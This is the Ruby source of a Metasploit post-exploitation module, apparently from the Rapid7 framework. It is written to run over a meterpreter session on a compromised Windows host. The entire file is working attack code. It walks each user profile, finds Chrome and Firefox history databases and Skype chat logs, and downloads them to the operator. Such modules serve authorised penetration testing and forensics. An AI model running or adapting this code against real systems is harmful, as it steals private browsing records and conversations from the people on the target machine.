modules/post/windows/gather/forensics/browser_history.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'csv'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::Windows::Registry
STORE_FILE_TYPE = 'binary/db'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Skype, Firefox, and Chrome Artifacts',
'Description' => %q{
Gathers Skype chat logs, Firefox history, and Chrome history data from the target machine.
},
'License' => MSF_LICENSE,
'Author' => [
'Joshua Harper <josh[at]radixtx.com>' # @JonValt
],
'Platform' => %w[win],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_close
core_channel_eof
core_channel_open
core_channel_read
stdapi_fs_search
stdapi_fs_separator
stdapi_fs_stat
]
}
}
)
)
end
#
# Execute the module.
#
def run
print_status('Gathering user profiles')
files_to_gather = [
{ path: 'LocalAppData', name: 'Chrome History', dir: 'Google', fname: 'History.' },
{ path: 'LocalAppData', name: 'Chrome Archived History', dir: 'Google', fname: 'Archived History.' },
{ path: 'AppData', name: 'Skype', dir: 'Skype', fname: 'main.db' },
{ path: 'AppData', name: 'Firefox', dir: 'Mozilla', fname: 'places.sqlite' }
]
grab_user_profiles.each do |userprofile|
files_to_gather.each { |f| download_artifact(userprofile, f) }
end
end
#
# Check to see if the artifact exists on the remote system.
#
def check_artifact(profile, opts = {})
path = profile[opts[:path]]
dir = opts[:dir]
dirs = session.fs.dir.foreach(path).collect
return dirs.include? dir
end
#
# Download the artifact from the remote system if it exists.
#
def download_artifact(profile, opts = {})
name = opts[:name]
print_status("Checking for #{name} artifacts...")
if !check_artifact(profile, opts)
print_error("#{name} directory not found for #{profile['UserName']}")
return false
end
print_good("#{name} directory found #{profile['UserName']}")
fname = opts[:fname]
dir = opts[:dir]
path = opts[:path]
artifact_path = "#{profile[path]}\\#{dir}"
file = session.fs.file.search(artifact_path, fname.to_s, true)
return false unless file
file.each do |db|
guid = db['path'].split('\\')
# Using store_local for full control of output filename. Forensics software can be picky about the files it's given.
local_loc = "#{profile['UserName']}_#{name}_#{guid.last}_#{fname}"
file_loc = store_local('artifact', STORE_FILE_TYPE, session, local_loc)
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
print_status("Downloading #{maindb}")
session.fs.file.download_file(file_loc, maindb)
print_good("#{name} artifact file saved to #{file_loc}")
end
return true
end
end